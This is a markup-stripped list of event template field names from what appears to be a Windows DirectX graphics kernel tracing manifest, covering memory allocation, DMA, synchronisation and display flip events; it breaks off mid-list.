hContext pDmaBuffer PatchLocationCount PatchLocationAllocationIndex PatchLocationSlotId PatchLocationReserved PatchLocationDriverId PatchLocationAllocationOffset PatchLocationPatchOffset PatchLocationSplitOffset EventData Data Name hAllocationHandle Data Name Priority hAllocationHandle Priority EventData Data Name hAllocationGlobalHandle Data Name Priority hAllocationGlobalHandle Priority EventData Data Name hAllocationGlobalHandle hAllocationGlobalHandle EventData Data Name hAllocationGlobalHandle Data Name Status hAllocationGlobalHandle Status EventData Data Name hProcessId Data Name hAllocationGlobalHandle Data Name pDmaBuffer Data Name offset Data Name size Data Name uiType hProcessId hAllocationGlobalHandle pDmaBuffer offset size uiType EventData Data Name hDevice Data Name hAllocationGlobalHandle Data Name size Data Name bTemporary hDevice hAllocationGlobalHandle size bTemporary EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name TransferOffset Data Name TransferSize Data Name SourceSegmentId Data Name SourceSegmentOffset Data Name DestinationSegmentId Data Name DestinationSegmentOffset Data Name Flags pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle TransferOffset TransferSize SourceSegmentId SourceSegmentOffset DestinationSegmentId DestinationSegmentOffset Flags EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name FillSize Data Name FillPattern Data Name SegmentId Data Name SegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle FillSize FillPattern SegmentId SegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name Flags Data Name SegmentId Data Name SegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle Flags SegmentId SegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name SegmentId Data Name SegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer SegmentId SegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name SegmentId Data Name SegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer SegmentId SegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name SegmentId Data Name OffsetInPages Data Name NumberOfPages Data Name Flags Data Name EvictionResource pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle SegmentId OffsetInPages NumberOfPages Flags EvictionResource EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name SegmentId Data Name OffsetInPages Data Name NumberOfPages Data Name Flags Data Name EvictionResource pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle SegmentId OffsetInPages NumberOfPages Flags EvictionResource EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name SegmentId Data Name OffsetInPages Data Name NumberOfPages Data Name EvictionResource pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle SegmentId OffsetInPages NumberOfPages EvictionResource EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name TransferOffset Data Name TransferSize Data Name SourceSegmentId Data Name SourceSegmentOffset Data Name DestinationSegmentId Data Name DestinationSegmentOffset Data Name Flags Data Name SwizzlingRangeId Data Name SwizzlingRangeData pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle TransferOffset TransferSize SourceSegmentId SourceSegmentOffset DestinationSegmentId DestinationSegmentOffset Flags SwizzlingRangeId SwizzlingRangeData EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name AllocationOffset Data Name TransferSize Data Name SourceSegmentId Data Name DestinationSegmentId Data Name SourceVirtualAddress Data Name DestinationVirtualAddress Data Name SourcePageTable Data Name TransferDirection Data Name TransferFlags Data Name DestinationPageTable Data Name SourceSegmentOffset Data Name DestinationSegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle AllocationOffset TransferSize SourceSegmentId DestinationSegmentId SourceVirtualAddress DestinationVirtualAddress SourcePageTable TransferDirection TransferFlags DestinationPageTable SourceSegmentOffset DestinationSegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name AllocationOffset Data Name FillSize Data Name FillPattern Data Name SegmentId Data Name DestinationVirtualAddress Data Name SegmentOffset pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle AllocationOffset FillSize FillPattern SegmentId DestinationVirtualAddress SegmentOffset EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name SegmentId Data Name SegmentAddress Data Name VirtualAddress Data Name GpuVirtualAddress pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle SegmentId SegmentAddress VirtualAddress GpuVirtualAddress EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name PageTableLevel Data Name PageTableAddress Data Name SegmentId Data Name NumPageTableUpdateEntries Data Name PageTableEntries Data Name PageTableEntries64KB Data Name StartIndex Data Name Flags Data Name DriverProtection Data Name AllocationOffsetInBytes Data Name hProcess Data Name UpdateMode Data Name FirstPteVirtualAddress Data Name PageTableObject pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle PageTableLevel PageTableAddress SegmentId NumPageTableUpdateEntries PageTableEntries PageTableEntries64KB StartIndex Flags DriverProtection AllocationOffsetInBytes hProcess UpdateMode FirstPteVirtualAddress PageTableObject EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name RootPageTableSegmentId Data Name RootPageTableSegmentOffset Data Name hProcess Data Name StartVirtualAddress Data Name EndVirtualAddress pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle RootPageTableSegmentId RootPageTableSegmentOffset hProcess StartVirtualAddress EndVirtualAddress EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name ContextAllocation Data Name ContextAllocationSize Data Name pDriverPrivateData Data Name DriverPrivateDataSize pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle ContextAllocation ContextAllocationSize pDriverPrivateData DriverPrivateDataSize EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name SegmentId Data Name SegmentOffset Data Name Flags pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle SegmentId SegmentOffset Flags EventData Data Name pDxgAdapter Data Name hDmaBuffer Data Name ContinueNextBuffer Data Name hAllocationGlobalHandle Data Name MonitoredFenceGpuVa Data Name MonitoredFenceValue pDxgAdapter hDmaBuffer ContinueNextBuffer hAllocationGlobalHandle MonitoredFenceGpuVa MonitoredFenceValue EventData Data Name pDxgAdapter Data Name hAllocationGlobalHandle Data Name SegmentId pDxgAdapter hAllocationGlobalHandle SegmentId EventData Data Name hContext Data Name pDmaBuffer Data Name uiAllocationListLength hContext pDmaBuffer uiAllocationListLength EventData Data Name uiStatus uiStatus EventData Data Name uiPass uiPass EventData Data Name hAllocationGlobalHandle Data Name hAllocationHandle Data Name Count Data Name Status hAllocationGlobalHandle hAllocationHandle Count Status EventData Data Name hAllocationGlobalHandle Data Name hAllocationHandle Data Name Count hAllocationGlobalHandle hAllocationHandle Count EventData Data Name SegmentId Data Name hAllocationGlobalHandle Data Name ProcessCommittedState SegmentId hAllocationGlobalHandle ProcessCommittedState EventData Data Name SegmentId Data Name hAllocationGlobalHandle Data Name MinAddress Data Name MaxAddress Data Name NoEvict Data Name TrimmingPriorityLimit Data Name Restriction Data Name ProcessCommittedState SegmentId hAllocationGlobalHandle MinAddress MaxAddress NoEvict TrimmingPriorityLimit Restriction ProcessCommittedState EventData Data Name Status Status EventData Data Name DxgAdapter Data Name SegmentId Data Name TotalBytesResident DxgAdapter SegmentId TotalBytesResident EventData Data Name hAllocationGlobalHandle Data Name PlacementRestriction Data Name SegmentGroup Data Name StartIndex Data Name EndIndex Data Name TrimmingPriorityLimit hAllocationGlobalHandle PlacementRestriction SegmentGroup StartIndex EndIndex TrimmingPriorityLimit EventData Data Name hAllocationGlobalHandle Data Name Status Data Name SegmentId Data Name SegmentOffset hAllocationGlobalHandle Status SegmentId SegmentOffset EventData Data Name hAllocationHandle Data Name Reason Data Name Write hAllocationHandle Reason Write EventData Data Name pVidMmGlobalAlloc Data Name Reason pVidMmGlobalAlloc Reason EventData Data Name hAllocationHandle hAllocationHandle EventData Data Name hAllocationHandle Data Name uiSegmentId Data Name uliOffset hAllocationHandle uiSegmentId uliOffset EventData Data Name hAllocationHandle hAllocationHandle EventData Data Name hGlobalAllocationHandle hGlobalAllocationHandle EventData Data Name hGlobalAllocationHandle Data Name cReads Data Name cPages Data Name Succeeded hGlobalAllocationHandle cReads cPages Succeeded EventData Data Name hGlobalAllocationHandle Data Name cPages Data Name RemoveFromWorkingSet Data Name Succeeded hGlobalAllocationHandle cPages RemoveFromWorkingSet Succeeded EventData Data Name hContext Data Name pDxgAdapter Data Name pDmaBuffer Data Name DmaSize Data Name AllocationListSize Data Name PatchLocationListSize Data Name hAllocationGlobalHandle hContext pDxgAdapter pDmaBuffer DmaSize AllocationListSize PatchLocationListSize hAllocationGlobalHandle EventData Data Name ulSegmentId Data Name pDxgAdapter Data Name BaseAddress Data Name CpuTranslatedAddress Data Name Size Data Name NbOfBanks Data Name Flags Data Name CommitLimit Data Name SystemMemoryEndAddress Data Name MemorySegmentGroup ulSegmentId pDxgAdapter BaseAddress CpuTranslatedAddress Size NbOfBanks Flags CommitLimit SystemMemoryEndAddress MemorySegmentGroup EventData Data Name hProcessId Data Name hDevice Data Name hAllocationHandle Data Name Pinned Data Name EvictionResource Data Name Size Data Name ulSegmentId Data Name SegmentOffset hProcessId hDevice hAllocationHandle Pinned EvictionResource Size ulSegmentId SegmentOffset EventData Data Name hProcessId Data Name pDxgAdapter Data Name AllocationPriorityClass Data Name Policy Data Name Value Data Name ulHysteresisCount Data Name ulHysteresisNext hProcessId pDxgAdapter AllocationPriorityClass Policy Value ulHysteresisCount ulHysteresisNext EventData Data Name hProcessId Data Name pDxgAdapter Data Name ulSegmentId Data Name Policy Data Name ullValue Data Name ulHysteresisCount Data Name ulHysteresisNext hProcessId pDxgAdapter ulSegmentId Policy ullValue ulHysteresisCount ulHysteresisNext EventData Data Name Device Data Name Policy Device Policy EventData Data Name UseDefault Data Name MinimumWorkingSetPercentile Data Name MaximumWorkingSetPercentile UseDefault MinimumWorkingSetPercentile MaximumWorkingSetPercentile EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name InitialState hAdapter hSyncObject Reason Flags SharedHandle InitialState EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name MaxCount Data Name InitialCount hAdapter hSyncObject Reason Flags SharedHandle MaxCount InitialCount EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name InitialValue hAdapter hSyncObject Reason Flags SharedHandle InitialValue EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name InitialValue hAdapter hSyncObject Reason Flags SharedHandle InitialValue EventData Data Name pDxgAdapter Data Name VidSchSyncObject Data Name Reason Data Name Flags Data Name InitialValue pDxgAdapter VidSchSyncObject Reason Flags InitialValue EventData Data Name hAdapter Data Name hSyncObject Data Name Reason Data Name Flags Data Name SharedHandle Data Name Event hAdapter hSyncObject Reason Flags SharedHandle Event EventData Data Name hContext Data Name ObjectCount Data Name ObjectArray Data Name FenceValue hContext ObjectCount ObjectArray FenceValue EventData Data Name hContext Data Name ObjectCount Data Name ObjectArray Data Name FenceValue hContext ObjectCount ObjectArray FenceValue EventData Data Name hContext Data Name ObjectCount Data Name ObjectArray Data Name Flags Data Name FenceValue hContext ObjectCount ObjectArray Flags FenceValue EventData Data Name ContextCount Data Name hContext Data Name ObjectCount Data Name ObjectArray Data Name Flags Data Name FenceValue Data Name InternalFlags ContextCount hContext ObjectCount ObjectArray Flags FenceValue InternalFlags EventData Data Name Flags Data Name Object Data Name MonitoredFenceValue Flags Object MonitoredFenceValue EventData Data Name ContextCount Data Name hContext Data Name Flags Data Name ObjectCount Data Name ObjectArray Data Name MonitoredFenceValue Data Name InternalFlagsFlags ContextCount hContext Flags ObjectCount ObjectArray MonitoredFenceValue InternalFlagsFlags EventData Data Name hContext Data Name ObjectCount Data Name ObjectArray Data Name MonitoredFenceValue hContext ObjectCount ObjectArray MonitoredFenceValue EventData Data Name hDevice Data Name ObjectCount Data Name ObjectArray Data Name MonitoredFenceValue hDevice ObjectCount ObjectArray MonitoredFenceValue EventData Data Name hDevice Data Name ObjectCount Data Name ObjectArray Data Name MonitoredFenceValue Data Name hAsyncEvent Data Name Flags hDevice ObjectCount ObjectArray MonitoredFenceValue hAsyncEvent Flags EventData Data Name hDevice Data Name SyncPointId Data Name ContextCount Data Name ContextArray Data Name SubmissionIdArray hDevice SyncPointId ContextCount ContextArray SubmissionIdArray EventData Data Name hDevice Data Name SyncPointId hDevice SyncPointId EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name Width Data Name Height Data Name Format Data Name RefreshRate.Numerator Data Name RefreshRate.Denominator Data Name ScanLineOrdering Data Name Orientation Data Name DisplayFixedOutput Data Name Flags Data Name NumSamples Data Name NumQualityLevels pDxgAdapter VidPnSourceId Width Height Format RefreshRate.Numerator RefreshRate.Denominator ScanLineOrdering Orientation DisplayFixedOutput Flags NumSamples NumQualityLevels EventData Data Name Reason Reason EventData Data Name Event Event EventData Data Name Function Function EventData Data Name Function Data Name Data Name Data Name SrcWidth Data Name SrcHeight Data Name DstWidth Data Name DstHeight Data Name Accelerated Data Name SolidColor Data Name Reserved Function SrcWidth SrcHeight DstWidth DstHeight Accelerated SolidColor Reserved EventData Data Name DxgAdapter Data Name VidPnSourceId Data Name Data Name Data Name Flags DxgAdapter VidPnSourceId Flags EventData Data Name pDxgAdapter Data Name ConfigSpaceSize Data Name ConfigSpace Data Name ChainUid Data Name NumberOfLinksInChain Data Name LeadLink Data Name BusType Data Name VendorID Data Name DeviceID Data Name SubVendorID Data Name SubSystemID Data Name RevisionID Data Name AdapterLuid pDxgAdapter ConfigSpaceSize ConfigSpace ChainUid NumberOfLinksInChain LeadLink BusType VendorID DeviceID SubVendorID SubSystemID RevisionID AdapterLuid EventData Data Name pDxgAdapter Data Name VidPnSourceIdNotToInvalidate Data Name ClientType Data Name VidPnChange Data Name ReclaimClonedTarget Data Name CleanupAfterFailedCommitVidPn Data Name 'ForceAllActiveVidPnModeListInvalidation Data Name ModeChangeRequestId pDxgAdapter VidPnSourceIdNotToInvalidate ClientType VidPnChange ReclaimClonedTarget CleanupAfterFailedCommitVidPn ForceAllActiveVidPnModeListInvalidation ModeChangeRequestId EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name Status pDxgAdapter VidPnSourceId Status EventData Data Name DriverObject Data Name PhysicalDeviceObject Data Name Status DriverObject PhysicalDeviceObject Status EventData Data Name DriverObject DriverObject EventData Data Name DeviceObject Data Name Status DeviceObject Status EventData Data Name DeviceObject Data Name Status DeviceObject Status EventData Data Name DeviceObject Data Name StackLocationSize Data Name StackLocation Data Name Status DeviceObject StackLocationSize StackLocation Status EventData Data Name DeviceObject Data Name Status DeviceObject Status EventData Data Name DeviceObject Data Name MiniportContext Data Name Status DeviceObject MiniportContext Status EventData Data Name MiniportContext Data Name NumVidPnSources Data Name ChildCount Data Name Status MiniportContext NumVidPnSources ChildCount Status EventData Data Name MiniportContext Data Name Status MiniportContext Status EventData Data Name MiniportContext Data Name Status MiniportContext Status EventData Data Name MiniportContext Data Name Flags Data Name Status MiniportContext Flags Status EventData Data Name MiniportContext Data Name Status MiniportContext Status EventData Data Name MiniportContext Data Name VidPnSourceId Data Name IoControlCode Data Name StatusBlock Data Name InputBufferLength Data Name OutputBufferLength Data Name Status MiniportContext VidPnSourceId IoControlCode StatusBlock InputBufferLength OutputBufferLength Status EventData Data Name MiniportContext Data Name ProtectedCallbackContext Data Name ProtectionStatus MiniportContext ProtectedCallbackContext ProtectionStatus EventData Data Name ChildRelationSize Data Name ChildDescriptors Data Name MiniportContext Data Name Status Data Name ChildCount ChildRelationSize ChildDescriptors MiniportContext Status ChildCount EventData Data Name MiniportContext Data Name Type Data Name ChildUid Data Name Connected Data Name NonDestructiveOnly Data Name Status MiniportContext Type ChildUid Connected NonDestructiveOnly Status EventData Data Name DeviceDescriptorOffset Data Name DeviceDescriptorLength Data Name DeviceDescriptor Data Name MiniportContext Data Name ChildUid Data Name Status Data Name DeviceDescriptorBuffer DeviceDescriptorOffset DeviceDescriptorLength DeviceDescriptor MiniportContext ChildUid Status DeviceDescriptorBuffer EventData Data Name DescriptorType Data Name MonitorDescriptorLength Data Name MonitorDescriptor Data Name MiniportContext Data Name TargetId Data Name Status Data Name MonitorDescriptorBuffer DescriptorType MonitorDescriptorLength MonitorDescriptor MiniportContext TargetId Status MonitorDescriptorBuffer EventData Data Name MiniportContext Data Name DeviceUid Data Name DevicePowerState Data Name ActionType Data Name Status MiniportContext DeviceUid DevicePowerState ActionType Status EventData Data Name MiniportContext Data Name EventType Data Name Event Data Name AcpiFlags Data Name Status MiniportContext EventType Event AcpiFlags Status EventData EventData Data Name MiniportContext Data Name InterfaceType Data Name Status MiniportContext InterfaceType Status EventData Data Name PhysicalDeviceObject Data Name MiniportDeviceContext Data Name ChainUid Data Name NumberOfLinksInChain Data Name LeadLink Data Name Status PhysicalDeviceObject MiniportDeviceContext ChainUid NumberOfLinksInChain LeadLink Status EventData Data Name MiniportDeviceContext Data Name TargetId Data Name Width Data Name Height Data Name Pitch Data Name ColorFormat Data Name Status MiniportDeviceContext TargetId Width Height Pitch ColorFormat Status EventData Data Name MiniportDeviceContext Data Name ChildUid Data Name Status MiniportDeviceContext ChildUid Status EventData Data Name MiniportDeviceContext Data Name RemovalType Data Name Status MiniportDeviceContext RemovalType Status EventData Data Name Version Data Name Flags Data Name Level Version Flags Level EventData Data Name EventGuid Data Name EventType Data Name BufferSize Data Name Buffer EventGuid EventType BufferSize Buffer EventData Data Name hDevice Data Name DeviceState hDevice DeviceState EventData Data Name hDevice Data Name VidPnSourceId Data Name PresentCount Data Name PresentRefreshCount Data Name SyncRefreshCount Data Name SyncQPCTime Data Name SyncGPUTime Data Name IsDWMStats hDevice VidPnSourceId PresentCount PresentRefreshCount SyncRefreshCount SyncQPCTime SyncGPUTime IsDWMStats EventData Data Name hContext Data Name hWindow Data Name VidPnSourceId Data Name FlipInterval Data Name Flags Data Name ReturnStatus Data Name hSrcAllocHandle Data Name hDstAllocHandle hContext hWindow VidPnSourceId FlipInterval Flags ReturnStatus hSrcAllocHandle hDstAllocHandle EventData Data Name hSyncObj Data Name VidPnSourceId Data Name hCompSurface Data Name CompSurfaceLuid Data Name Flags Data Name ReturnStatus hSyncObj VidPnSourceId hCompSurface CompSurfaceLuid Flags ReturnStatus EventData Data Name hContext Data Name FenceId Data Name ProcessorFrequencyInMHz Data Name NumberOfTimestamps Data Name Timestamps hContext FenceId ProcessorFrequencyInMHz NumberOfTimestamps Timestamps EventData Data Name hAllocationHandle Data Name Priority hAllocationHandle Priority EventData Data Name hAllocationHandle hAllocationHandle EventData Data Name hGlobalAllocationHandle hGlobalAllocationHandle EventData Data Name hGlobalAllocationHandle Data Name State Data Name Priority hGlobalAllocationHandle State Priority EventData Data Name hAllocationHandle Data Name Priority Data Name State hAllocationHandle Priority State EventData Data Name hGlobalAllocationHandle hGlobalAllocationHandle EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name ContextIndex Data Name Status PacketIndex WdLogIndex VidPnSourceId ContextIndex Status EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name ContextIndex Data Name DestroyReason PacketIndex WdLogIndex VidPnSourceId ContextIndex DestroyReason EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name PresentFlags Data Name PresentRgnDirtyRectCount Data Name PresentRgnMoveRectCount Data Name DirtyRectIntCount Data Name DirtyRects Data Name MoveRectIntCount Data Name MoveRects PacketIndex WdLogIndex VidPnSourceId PresentFlags PresentRgnDirtyRectCount PresentRgnMoveRectCount DirtyRectIntCount DirtyRects MoveRectIntCount MoveRects EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name Type Data Name Width Data Name Height Data Name Pitch Data Name HotSpot.x Data Name HotSpot.y PacketIndex WdLogIndex VidPnSourceId Type Width Height Pitch HotSpot.x HotSpot.y EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name Position.x Data Name Position.y Data Name Visible PacketIndex WdLogIndex VidPnSourceId Position.x Position.y Visible EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId PacketIndex WdLogIndex VidPnSourceId EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name ContextIndex Data Name Status Data Name AcquiredMutex Data Name AccumulatedFrames Data Name AccumulatedFrameUpdated Data Name StatusBits PacketIndex WdLogIndex VidPnSourceId ContextIndex Status AcquiredMutex AccumulatedFrames AccumulatedFrameUpdated StatusBits EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name LastPresentTime Data Name LastMouseUpdateTime Data Name AccumulatedFrames Data Name RectsCoalesced Data Name ProtectedContentMaskedOut Data Name PointerPosition.Position.x Data Name PointerPosition.Position.y Data Name PointerPosition.Visible Data Name TotalMetadataBufferSize Data Name PointerShapeBufferSize PacketIndex WdLogIndex VidPnSourceId LastPresentTime LastMouseUpdateTime AccumulatedFrames RectsCoalesced ProtectedContentMaskedOut PointerPosition.Position.x PointerPosition.Position.y PointerPosition.Visible TotalMetadataBufferSize PointerShapeBufferSize EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name MetaDataType Data Name BufferSizeSupplied Data Name BufferSizeRequired Data Name Status Data Name DirtyCount Data Name DirtyRectIntCount Data Name DirtyRects PacketIndex WdLogIndex VidPnSourceId MetaDataType BufferSizeSupplied BufferSizeRequired Status DirtyCount DirtyRectIntCount DirtyRects EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name MetaDataType Data Name BufferSizeSupplied Data Name BufferSizeRequired Data Name Status Data Name MoveCount Data Name MoveRectIntCount Data Name MoveRects PacketIndex WdLogIndex VidPnSourceId MetaDataType BufferSizeSupplied BufferSizeRequired Status MoveCount MoveRectIntCount MoveRects EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name Type Data Name Width Data Name Height Data Name Pitch Data Name HotSpot.x Data Name HotSpot.y Data Name BufferSizeSupplied Data Name BufferSizeRequired PacketIndex WdLogIndex VidPnSourceId Type Width Height Pitch HotSpot.x HotSpot.y BufferSizeSupplied BufferSizeRequired EventData Data Name PacketIndex Data Name WdLogIndex Data Name VidPnSourceId Data Name StatusBits PacketIndex WdLogIndex VidPnSourceId StatusBits EventData Data Name hAdapter Data Name Token Data Name Model Data Name TokenSize Data Name TokenData Data Name Flags Data Name CustomDuration Data Name ScrollRect.left Data Name ScrollRect.right Data Name ScrollRect.top Data Name ScrollRect.bottom Data Name ScrollOffset.X Data Name ScrollOffset.Y Data Name DirtyRectCount Data Name Left Data Name Right Data Name Data Name Bottom Data Name SourceRect.left Data Name SourceRect.right Data Name SourceRect.top Data Name SourceRect.bottom Data Name DestWidth Data Name DestHeight Data Name TargetRect.left Data Name TargetRect.right Data Name TargetRect.top Data Name TargetRect.bottom Data Name VmBusChannel hAdapter Token Model TokenSize TokenData Flags CustomDuration ScrollRect.left ScrollRect.right ScrollRect.top ScrollRect.bottom ScrollOffset.X ScrollOffset.Y DirtyRectCount Left Right Bottom SourceRect.left SourceRect.right SourceRect.top SourceRect.bottom DestWidth DestHeight TargetRect.left TargetRect.right TargetRect.top TargetRect.bottom VmBusChannel EventData Data Name AdapterOrdinal Data Name hProcessId AdapterOrdinal hProcessId EventData Data Name hContext Data Name hProcessId Data Name PreemptionTime Data Name SchedulingDelay hContext hProcessId PreemptionTime SchedulingDelay EventData Data Name Handle Data Name Size Data Name Mapping Data Name ProcessId Data Name IsHeapBlock Handle Size Mapping ProcessId IsHeapBlock EventData Data Name ProcessId Data Name Handle Data Name Size Data Name hProcessAlloc ProcessId Handle Size hProcessAlloc EventData Data Name hGlobalAllocationHandle Data Name ulSegmentId Data Name SegmentOffset hGlobalAllocationHandle ulSegmentId SegmentOffset EventData Data Name hContext Data Name RecordCount Data Name RecordTime hContext RecordCount RecordTime EventData Data Name hAdapter hAdapter EventData Data Name pDxgAdapter Data Name NodeOrdinal Data Name EngineType Data Name FriendlyName pDxgAdapter NodeOrdinal EngineType FriendlyName EventData Data Name hContext Data Name VidPnSourceId Data Name PresentCount Data Name FlipInterval Data Name Flags Data Name PresentPlaneCount Data Name Duration Data Name ReturnStatus hContext VidPnSourceId PresentCount FlipInterval Flags PresentPlaneCount Duration ReturnStatus EventData Data Name VidPnSourceId Data Name LayerIndex Data Name Enabled Data Name hAllocation Data Name Flags Data Name SrcRect.left Data Name SrcRect.right Data Name SrcRect.top Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.right Data Name DstRect.top Data Name DstRect.bottom Data Name ClipRect.left Data Name ClipRect.right Data Name ClipRect.top Data Name ClipRect.bottom Data Name Rotation Data Name Blend Data Name NumFilters Data Name ColorSpace Data Name HDRMetaDataType Data Name SDRWhiteLevel VidPnSourceId LayerIndex Enabled hAllocation Flags SrcRect.left SrcRect.right SrcRect.top SrcRect.bottom DstRect.left DstRect.right DstRect.top DstRect.bottom ClipRect.left ClipRect.right ClipRect.top ClipRect.bottom Rotation Blend NumFilters ColorSpace HDRMetaDataType SDRWhiteLevel EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name LayerIndex Data Name FlipSubmitSequence Data Name FlipToDriverAllocation Data Name FlipToPhysicalAddress Data Name FlipToSegmentId Data Name FlipPresentId Data Name FlipPhysicalAdapterMask Data Name SrcRect.left Data Name SrcRect.right Data Name SrcRect.top Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.right Data Name DstRect.top Data Name DstRect.bottom Data Name ClipRect.left Data Name ClipRect.right Data Name ClipRect.top Data Name ClipRect.bottom Data Name ColorSpace Data Name FlipEntryStatusAfterFlip Data Name Enabled Data Name SDRWhiteLevel Data Name DirtyRectCount pDxgAdapter VidPnSourceId LayerIndex FlipSubmitSequence FlipToDriverAllocation FlipToPhysicalAddress FlipToSegmentId FlipPresentId FlipPhysicalAdapterMask SrcRect.left SrcRect.right SrcRect.top SrcRect.bottom DstRect.left DstRect.right DstRect.top DstRect.bottom ClipRect.left ClipRect.right ClipRect.top ClipRect.bottom ColorSpace FlipEntryStatusAfterFlip Enabled SDRWhiteLevel DirtyRectCount EventData Data Name FinalEvent Data Name RectCount Data Name Left Data Name Right Data Name Data Name Bottom FinalEvent RectCount Left Right Bottom EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name LayerIndex Data Name PlaneTotalPendingFlip Data Name InterruptTargetPresentId Data Name Status pDxgAdapter VidPnSourceId LayerIndex PlaneTotalPendingFlip InterruptTargetPresentId Status EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name FlipSubmitSequence Data Name HwFlipQueueDrainNeeded Data Name Status pDxgAdapter VidPnSourceId FlipSubmitSequence HwFlipQueueDrainNeeded Status EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name FlipSubmitSequence pDxgAdapter VidPnSourceId FlipSubmitSequence EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name InputFlags Data Name OutputFlags pDxgAdapter VidPnSourceId InputFlags OutputFlags EventData Data Name VidPnSourceId Data Name CandidateFlipPresentCount Data Name CandidateFlipPresentAtQpc Data Name MaxAcceptablePresentTimeQpc Data Name TimeDelta100Ns Data Name CandidateFlipReady VidPnSourceId CandidateFlipPresentCount CandidateFlipPresentAtQpc MaxAcceptablePresentTimeQpc TimeDelta100Ns CandidateFlipReady EventData Data Name VidPnSourceId Data Name FlipQueuePlaneIndex Data Name ThisFlipSubmitSequence Data Name Reason Data Name StallEntryFlipSubmitSequence Data Name FlipMmIoPendingMask Data Name FlipPassivePendingMask Data Name HwQueuePendingFlips Data Name HwQueuePendingFlipsPlaneIndex VidPnSourceId FlipQueuePlaneIndex ThisFlipSubmitSequence Reason StallEntryFlipSubmitSequence FlipMmIoPendingMask FlipPassivePendingMask HwQueuePendingFlips HwQueuePendingFlipsPlaneIndex EventData Data Name pDxgAdapter Data Name VidPnSourceId Data Name NewVSyncWaiterCount pDxgAdapter VidPnSourceId NewVSyncWaiterCount EventData Data Name VidPnSourceId Data Name PlaneCount Data Name Scenario Data Name SourceDimension Data Name DestDimension Data Name Status VidPnSourceId PlaneCount Scenario SourceDimension DestDimension Status EventData Data Name VidPnSourceId Data Name Data Name Flags Data Name SrcRect.left Data Name SrcRect.right Data Name SrcRect.top Data Name SrcRect.bottom Data Name DstRect.left Data Name DstRect.right Data Name DstRect.top Data Name DstRect.bottom Data Name ClipRect.left Data Name ClipRect.right Data Name ClipRect.top Data Name ClipRect.bottom Data Name Rotation Data Name Blend Data Name ColorSpaces Data Name StretchQuality Data Name 